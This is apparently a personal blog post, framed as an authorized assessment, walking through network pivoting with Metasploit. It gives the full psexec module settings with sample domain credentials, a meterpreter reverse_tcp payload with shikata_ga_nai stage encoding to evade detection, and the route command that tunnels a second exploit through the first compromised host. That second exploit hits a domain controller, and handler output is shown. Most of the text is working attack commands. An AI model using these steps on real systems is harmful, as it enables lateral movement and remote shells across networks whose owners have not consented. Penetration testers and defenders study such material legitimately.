Basic Pivoting With Meterpreter

While this topic has been discussed extensively online, it seems that few people pay attention to markup language and/or links on their posts.

How annoying is that?! Really, this post is for my own reference, however, you are more than welcome to use it. ;)


The Situation

In a recent assessment, I was asked to please ensure that if I infect a host that I use said host to tunnel subsequent meterpreter sessions through.

One of the reasons for this was to replicate an attacker pivoting systems to further scan, infect, etc. other systems on the network and other subnets.

At a high level, this is what needed to be done:

Pivoting

This post assumes you already have credentials and that systems you're exploiting have access to other subnets.

  • Protoxin: 192.168.1.2
  • Pwn'd computer 1: 192.168.1.3
  • Domain controller: 192.168.2.2

Using Metasploit, we will be using the psexec module to deploy a meterpreter payload on Computer1. Let's begin by setting up our options:

msf> use exploit/windows/smb/psexec  
msf (windows/smb/psexec)> set RHOST 192.168.1.3  
msf (windows/smb/psexec)> set SMBDomain lab.net  
msf (windows/smb/psexec)> set SMBUser bob  
msf (windows/smb/psexec)> set SMBPass B0blovescats1  
msf (windows/smb/psexec)> set payload windows/meterpreter/reverse_tcp  
msf (windows/smb/psexec)> set LHOST 192.168.1.2  
msf (windows/smb/psexec)> set LPORT 3389  

Pretty standard, right? One thing I like to do is enable stage encoding and use shikata_ga_nai. This can be done with the following:

msf (windows/smb/psexec)> set EnableStageEncoding true  
msf (windows/smb/psexec)> set StageEncoder x86/shikata_ga_nai  

Next up, run the thing!

msf (windows/smb/psexec)> run  
[+]Started reverse handler on 192.168.1.2:3389
[+]Connecting to the server...
[+]Authenticating as user 'bob'...
[+]Uploading payload
.....

The next thing that you will want to do is background the meterpreter session.

meterpreter> background  
[+]Backgrounding session 1...

Note that you can use the autoroute functionality of meterpreter. In this post, however, we are going to leverage Metasploit's route command. We know that our system can communicate directly to the domain controller, however, for some reason we cannot.

Let's add the route so we can continue:

msf (windows/smb/psexec)> route add 192.168.2.0 255.255.255.0 1  

This adds are route to the 192.168.2 network. Note that we specified the netmask and specified the session number (1). Now, let's use Computer1 as a passthrough/pivot onto the domain controller! Luckily for us, Metasploit will handle a lot of the heavy lifting for us. Be sure that you set the LHOST value for the payload to the IP belonging to the session you set a route for.

msf (windows/smb/psexec)> set RHOST 192.168.2.2  
msf (windows/smb/psexec)> set LHOST 192.168.1.3  
msf (windows/smb/psexec)> run

[*] Started reverse handler on 192.168.1.3:3389 via the meterpreter on session 1

Look at that fancy! We've now pivoted onto the domain controller via Computer1.

If you'd like to see some graphics and more detail into this, check out:

https://blog.cobaltstrike.com/2013/11/26/reverse-meterpreter-connect-backs-through-a-compromised-host/


As I stated at the beginning, this post is for my own reference, however, you are more than welcome to use it.

Cheers,
P.

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